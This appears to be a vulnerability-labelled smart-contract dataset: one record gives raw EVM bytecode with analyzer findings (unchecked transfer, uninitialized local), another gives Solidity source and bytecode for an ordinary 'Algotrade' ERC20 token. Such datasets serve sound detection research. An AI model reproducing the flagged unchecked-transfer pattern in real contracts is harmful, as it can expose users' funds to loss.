0x6080604052600436106101035763ffffffff60e060020a6000350416631f455922811461013f57806320398b8314610161578063252cedc3146101885780632740728e146101b85780635c3842fa146101e65780635d751443146102075780636cad3fb01461021f578063715018a614610237578063790f3ea11461024c5780638da5cb5b1461026d5780639b2cb5d81461029e5780639f43daf7146102c5578063a001ecdd146102d8578063aa513c71146102ed578063b2d5362d14610325578063b80a4cc014610345578063f2fde38b14610387578063f41d0b0c146103a8578063f5c256ca146103f3578063f6cf054214610426578063ff897dbd1461043b575b6040805133815234602082015281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a1005b34801561014b57600080fd5b5061015f6004803560248101910135610453565b005b34801561016d57600080fd5b5061015f6004803590602480359081019101356044356104f4565b34801561019457600080fd5b5061015f60048035906024803580820192908101359160443590810191013561059e565b3480156101c457600080fd5b5061015f6024600480358281019291013590600160a060020a039035166106e3565b3480156101f257600080fd5b5061015f600160a060020a036004351661075d565b34801561021357600080fd5b5061015f600435610796565b34801561022b57600080fd5b5061015f6004356107c9565b34801561024357600080fd5b5061015f610840565b34801561025857600080fd5b5061015f600160a060020a036004351661089f565b34801561027957600080fd5b506102826108d8565b60408051600160a060020a039092168252519081900360200190f35b3480156102aa57600080fd5b506102b36108e7565b60408051918252519081900360200190f35b61015f60048035602481019101356108ed565b3480156102e457600080fd5b506102b3610968565b3480156102f957600080fd5b5061015f6024600480358281019291013590600160a060020a039035811690604435906064351661096e565b34801561033157600080fd5b506102b36004803560248101910135610b0b565b34801561035157600080fd5b506103736024600480358281019291013590600160a060020a03903516610c05565b604080519115158252519081900360200190f35b34801561039357600080fd5b5061015f600160a060020a0360043516610c4d565b3480156103b457600080fd5b506103c86004803560248101910135610c70565b60408051600160a060020a039485168152602081019390935292168183015290519081900360600190f35b3480156103ff57600080fd5b5061015f600480359060248035808201929081013591604435908101910135606435610ce2565b34801561043257600080fd5b506102b3610d7f565b34801561044757600080fd5b5061015f600435610d85565b600254600160a060020a03163314806104765750600054600160a060020a031633145b151561048157600080fd5b600182826040518083838082843790910194855250506040519283900360200190922054600160a060020a0316151591506104bd905057600080fd5b60018282604051808383808284379091019485525050604051928390036020019092208054600160a060020a031916905550505050565b600254600160a060020a03163314806105175750600054600160a060020a031633145b151561052257600080fd5b6105988460006040805190810160405280600381526020017f4554480000000000000000000000000000000000000000000000000000000000815250600087878080601f016020809104026020016040519081016040528093929190818152602001838380828437508b9450610db89350505050565b50505050565b600060018585604051808383808284379190910194855250506040805160209481900385018120547f23b872dd000000000000000000000000000000000000000000000000000000008252336004830152306024830152604482018c90529151600160a060020a03909216955085946323b872dd9450606480830194509092918290030181600087803b15801561063457600080fd5b505af1158015610648573d6000803e3d6000fd5b505050506040513d602081101561065e57600080fd5b5051151561066b57600080fd5b6106db86600187878080601f0160208091040260200160405190810160405280939291908181526020018383808284375050604080516020601f8d018190048102820181019092528b81526000955093508b92508a9150819084018382808284375060009450610db89350505050565b505050505050565b600254600160a060020a03163314806107065750600054600160a060020a031633145b151561071157600080fd5b8060018484604051808383808284379091019485525050604051928390036020019092208054600160a060020a0394909416600160a060020a0319909416939093179092555050505050565b600054600160a060020a0316331461077457600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b600254600160a060020a03163314806107b95750600054600160a060020a031633145b15156107c457600080fd5b600655565b600254600160a060020a03163314806107ec5750600054600160a060020a031633145b15156107f757600080fd5b606481111561080557600080fd5b60048190556040805182815290517f74516f05eb4bd2461d57aa1e935ee553f86a3e02bfed7759f2f772915de3d9be9181900360200190a150565b600054600160a060020a0316331461085757600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a260008054600160a060020a0319169055565b600054600160a060020a031633146108b657600080fd5b60038054600160a060020a031916600160a060020a0392909216919091179055565b600054600160a060020a031681565b60055481565b6109643460006040805190810160405280600381526020017f4554480000000000000000000000000000000000000000000000000000000000815250600186868080601f0160208091040260200160405190810160405280939291908181526020018383808284375060009450610db89350505050565b5050565b60045481565b600254600160a060020a03163314806109915750600054600160a060020a031633145b151561099c57600080fd5b60648211156109aa57600080fd5b811580156109bf5750600160a060020a038116155b806109dd57506000821180156109dd5750600160a060020a03811615155b15156109e857600080fd5b600785856040518083838082843790910194855250506040519283900360200190922054600160a060020a031615159150610a709050577fb3dc242b24258fffd5dd07ce684068903349e62ea4e7100319c31f1d10d02b5985856040518080602001828103825284848281815260200192508082843760405192018290039550909350505050a15b60606040519081016040528084600160a060020a0316815260200183815260200182600160a060020a03168152506007868660405180838380828437919091019485525050604080516020948190038501902085518154600160a060020a0319908116600160a060020a0392831617835595870151600183015595909101516002909101805490941694169390931790915550505050505050565b600080600184846040518083838082843790910194855250506040519283900360200190922054600160a060020a031615159150610b4a905057600080fd5b60018484604051808383808284379190910194855250506040805160209481900385018120547f70a082310000000000000000000000000000000000000000000000000000000082523060048301529151600160a060020a03909216955085946370a082319450602480830194509092918290030181600087803b158015610bd157600080fd5b505af1158015610be5573d6000803e3d6000fd5b505050506040513d6020811015610bfb57600080fd5b5051949350505050565b600081600160a060020a0316600185856040518083838082843790910194855250506040519283900360200190922054600160a060020a031692909214925050509392505050565b600054600160a060020a03163314610c6457600080fd5b610c6d816117d8565b50565b6000806000610c7d6118b9565b600786866040518083838082843791909101948552505060408051602094819003850181206060820183528054600160a060020a0390811680845260018301549784018890526002909201541691909201819052909a93995097509195505050505050565b600254600160a060020a0316331480610d055750600054600160a060020a031633145b1515610d1057600080fd5b6106db86600187878080601f0160208091040260200160405190810160405280939291908181526020018383808284375050604080516020601f8d018190048102820181019092528b81526000955093508b92508a915081908401838280828437508b9450610db89350505050565b60065481565b600254600160a060020a0316331480610da85750600054600160a060020a031633145b1515610db357600080fd5b600555565b6000610dc26118b9565b6060600088158015610dd15750865b8015610ddc57508934145b80610dfb575088158015610dee575086155b8015610dfb575030318a11155b80610e035750885b1515610e0e57600080fd5b841580610e1a5750848a115b1515610e2557600080fd5b8815610f99576001886040518082805190602001908083835b60208310610e5d5780518252601f199092019160209182019101610e3e565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922054600160a060020a031615159150610ea1905057600080fd5b6001886040518082805190602001908083835b60208310610ed35780518252601f199092019160209182019101610eb4565b51815160209384036101000a6000190180199092169116179052920194855250604080519485900382018520547f70a082310000000000000000000000000000000000000000000000000000000086523060048701529051600160a060020a0390911698508e948994506370a08231935060248082019392918290030181600087803b158015610f6257600080fd5b505af1158015610f76573d6000803e3d6000fd5b505050506040513d6020811015610f8c57600080fd5b50511015610f9957600080fd5b6007866040518082805190602001908083835b60208310610fcb5780518252601f199092019160209182019101610fac565b51815160209384036101000a60001901801990921691161790529201948552506040805194859003820185206060860182528054600160a060020a0390811680885260018301549488019490945260029091015416908501529295505050151561103457600080fd5b60408051600480825260a08201909252906020820160808038833901905050915060649050600085111561108f578482600381518110151561107257fe5b6020908102909101015261108c8a8663ffffffff61184816565b99505b60208301511515611130576110cf816110c36110b66004548561184890919063ffffffff16565b8d9063ffffffff61185d16565b9063ffffffff61188816565b8260008151811015156110de57fe5b60209081029091010152815161111290839060009081106110fb57fe5b602090810290910101518b9063ffffffff61184816565b82600281518110151561112157fe5b6020908102909101015261123c565b61114b816110c385602001518d61185d90919063ffffffff16565b82600181518110151561115a57fe5b602090810290910101526004546111b79082906110c39061118290839063ffffffff61184816565b6111ab86600181518110151561119457fe5b602090810290910101518f9063ffffffff61184816565b9063ffffffff61185d16565b8260008151811015156111c657fe5b60209081029091010152815161122290839060009081106111e357fe5b906020019060200201516112168460018151811015156111ff57fe5b602090810290910101518d9063ffffffff61184816565b9063ffffffff61184816565b82600281518110151561123157fe5b602090810290910101525b896112a683600281518110151561124f57fe5b9060200190602002015161129a85600181518110151561126b57fe5b9060200190602002015186600081518110151561128457fe5b602090810290910101519063ffffffff6118a916565b9063ffffffff6118a916565b146112b057600080fd5b60008260008151811015156112c157fe5b9060200190602002015111156113dc57881515611330578260000151600160a060020a03166108fc8360008151811015156112f857fe5b602090810290910101516040518115909202916000818181858888f1935050505015801561132a573d6000803e3d6000fd5b506113dc565b83600160a060020a031663a9059cbb846000015184600081518110151561135357fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156113af57600080fd5b505af11580156113c3573d6000803e3d6000fd5b505050506040513d60208110156113d957600080fd5b50505b60008260018151811015156113ed57fe5b9060200190602002015111156115085788151561145c578260400151600160a060020a03166108fc83600181518110151561142457fe5b602090810290910101516040518115909202916000818181858888f19350505050158015611456573d6000803e3d6000fd5b50611508565b83600160a060020a031663a9059cbb846040015184600181518110151561147f57fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b1580156114db57600080fd5b505af11580156114ef573d6000803e3d6000fd5b505050506040513d602081101561150557600080fd5b50505b600082600281518110151561151957fe5b90602001906020020151111561169a578815156115ea57600654600254600160a060020a031631101561158f5761157182600281518110151561155857fe5b9060200190602002015183600381518110151561128457fe5b82600381518110151561158057fe5b602090810290910101526115e5565b6003548251600160a060020a03909116906108fc90849060029081106115b157fe5b602090810290910101516040518115909202916000818181858888f193505050501580156115e3573d6000803e3d6000fd5b505b61169a565b6003548251600160a060020a038087169263a9059cbb929116908590600290811061161157fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561166d57600080fd5b505af1158015611681573d6000803e3d6000fd5b505050506040513d602081101561169757600080fd5b50505b60008260038151811015156116ab57fe5b9060200190602002015111156117cc5788151561171c576002548251600160a060020a03909116906108fc90849060039081106116e457fe5b602090810290910101516040518115909202916000818181858888f19350505050158015611716573d6000803e3d6000fd5b506117cc565b6002548251600160a060020a038087169263a9059cbb929116908590600390811061174357fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561179f57600080fd5b505af11580156117b3573d6000803e3d6000fd5b505050506040513d60208110156117c957600080fd5b50505b50505050505050505050565b600160a060020a03811615156117ed57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360008054600160a060020a031916600160a060020a0392909216919091179055565b60008282111561185757600080fd5b50900390565b818102821580611877575081838281151561187457fe5b04145b151561188257600080fd5b92915050565b600080821161189657600080fd5b81838115156118a157fe5b049392505050565b8181018281101561188257600080fd5b6040805160608101825260008082526020820181905291810191909152905600a165627a7a723058201812cb8c34ee894f00a5b44c826a7fd5974ee34aec195d5f01f939c4e2ee4a9a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,412
0xa52720d1880e69fc7098a84dd8910e268322c549
/** *Submitted for verification at Etherscan.io on 2020-09-01 */ //SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 1e24, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract AlgotradeERC20 is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Algotrade", "AGT", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 1e24); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d71461055b578063a9059cbb146105c1578063ab033ea914610627578063dd62ed3e1461066b578063f46eccc4146106e357610116565b80635aa6e675146103f257806370a082311461043c57806395d89b4114610494578063983b2d561461051757610116565b80633092afd5116100e95780633092afd5146102a8578063313ce567146102ec578063395093511461031057806340c10f191461037657806342966c68146103c457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b61012361073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b61020c6107ff565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b6102ea600480360360208110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e2565b005b6102f4610a00565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603604081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a17565b604051808215151515815260200191505060405180910390f35b6103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aca565b005b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610b97565b005b6103fa610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bca565b6040518082815260200191505060405180910390f35b61049c610c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dc5780820151818401526020810190506104c1565b50505050905090810190601f1680156105095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105596004803603602081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b005b6106cd6004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104b565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107f56107ee61106b565b8484611073565b6001905092915050565b6000600254905090565b600061081684848461126a565b6108d78461082261106b565b6108d285604051806060016040528060288152602001611b3560289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088861106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610ac0610a2461106b565b84610abb8560016000610a3561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b611073565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b938282611668565b5050565b610ba133826118a5565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610caa5780601f10610c7f57610100808354040283529160200191610caa565b820191906000526020600020905b815481529060010190602001808311610c8d57829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e95610ddf61106b565b84610e9085604051806060016040528060258152602001611bc76025913960016000610e0961106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b6001905092915050565b6000610eb3610eac61106b565b848461126a565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611ba36024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611aed6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b7e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611376576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa86023913960400191505060405180910390fd5b6113e181604051806060016040528060268152602001611b0f602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611474816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611592578082015181840152602081019050611577565b50505050905090810190601f1680156115bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611720816002546115e090919063ffffffff16565b60028190555069d3c21bcecceda100000060025411156117a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f746f74616c537570706c79206578636565642068617264206c696d6974000081525060200191505060405180910390fd5b6117f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b5d6021913960400191505060405180910390fd5b61199681604051806060016040528060228152602001611acb602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ed81600254611a5d90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611a9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa